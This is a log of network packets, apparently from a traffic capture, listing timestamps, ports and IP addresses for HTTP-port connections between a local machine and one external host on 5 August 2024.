Aug 5, 2024 12:01:23.696232080 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696242094 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696252108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696269989 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696300030 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696538925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696551085 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696561098 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696571112 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696594954 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696609974 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696909904 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696922064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696933031 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696943998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696953058 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.696959972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696970940 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696981907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.696995020 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697002888 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.697027922 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.697516918 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697529078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697540045 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697551966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697573900 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.697638988 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.697891951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697905064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697913885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697925091 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697937012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.697953939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698012114 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698179007 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698257923 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698313951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698326111 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698337078 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698348045 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698359013 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698359966 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698369980 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698379993 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698381901 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698398113 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.698400021 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698414087 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.698435068 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699166059 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699178934 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699188948 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699198961 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699209929 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699213028 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699220896 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699233055 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699234962 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699244976 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699254990 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699271917 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699835062 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699846983 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699862003 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699872971 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699884892 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699889898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699896097 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699903965 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699908018 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699919939 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699919939 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699930906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699942112 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699944019 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699954033 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.699974060 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.699990034 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.700788975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700802088 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700812101 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700824022 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700833082 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.700834990 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700849056 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700858116 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.700860023 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700871944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700872898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.700885057 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700896025 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700906992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.700907946 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.700926065 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.701725960 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701738119 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701747894 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701759100 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701769114 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701780081 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701790094 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701792002 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.701802969 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701814890 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701822996 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.701826096 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701838017 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.701843023 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.701850891 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.701875925 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.702661037 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702672958 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702682972 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702697992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702708006 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702713966 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.702719927 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702732086 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702742100 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.702743053 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702754974 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702764988 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702780008 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.702780962 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.702784061 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.702807903 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703424931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703435898 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703447104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703461885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703469038 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703474045 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703485012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703485966 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703496933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703506947 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703511953 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703517914 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703528881 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703536034 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703543901 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703552008 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.703556061 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.703577042 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.751406908 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:23.782495975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:23.829509974 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.019418001 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019480944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019495010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019530058 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.019624949 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019637108 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019646883 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019670963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.019685984 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.019833088 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019845009 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019850016 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019860029 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.019885063 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.019901991 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020072937 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020082951 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020092964 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020104885 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020133972 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020159960 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020456076 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020467997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020478010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020493984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020503998 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020514011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020524979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020534992 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020545959 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.020653963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020653963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020653963 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.020654917 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021033049 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021045923 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021055937 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021064997 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021075964 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021080017 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021106958 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021132946 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021286011 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021296024 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021333933 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021333933 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021347046 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021358967 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021394968 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021775007 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021785975 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021795988 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021806002 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021816015 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021817923 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021826982 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021838903 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021847963 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021850109 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021858931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021869898 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021879911 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021887064 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.021900892 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.021928072 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022453070 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022468090 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022478104 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022486925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022499084 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022509098 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022516966 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022516966 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022537947 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022542953 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022553921 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022562981 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022572994 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022578955 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022584915 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022595882 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022603989 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022605896 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.022624016 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.022653103 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.023505926 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023515940 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023521900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023533106 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023538113 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023546934 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023556948 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023559093 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.023567915 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023577929 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023585081 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.023588896 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023598909 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023606062 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.023610115 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.023636103 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.023667097 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024389029 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024399042 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024410963 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024421930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024431944 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024439096 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024442911 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024452925 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024462938 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024466038 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024473906 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024490118 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024499893 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024501085 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024509907 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024509907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024523020 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.024530888 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.024549007 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025357962 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025368929 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025378942 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025388956 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025398970 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025403023 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025412083 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025417089 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025424004 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025434971 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025438070 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025444984 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025455952 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025465012 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025465965 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025475979 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025487900 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.025495052 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.025530100 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.026300907 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026313066 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026323080 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026334047 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026343107 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026354074 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026359081 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.026365995 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026376963 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026387930 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026387930 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.026400089 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026407957 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.026412010 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026423931 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026433945 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026444912 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.026451111 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.026480913 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.106800079 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.106992960 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:24.112494946 CEST	80	49893	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:24.112670898 CEST	49893	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:25.901106119 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:25.905956984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:25.906027079 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:25.906200886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:25.910953045 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.074862957 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.074892998 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.074911118 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.074928999 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.074970007 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.075006962 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075012922 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.075124979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075141907 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075160027 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075166941 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.075176954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075200081 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.075270891 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.075311899 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.079778910 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.079818010 CEST	80	49894	27.221.16.149	192.168.2.7
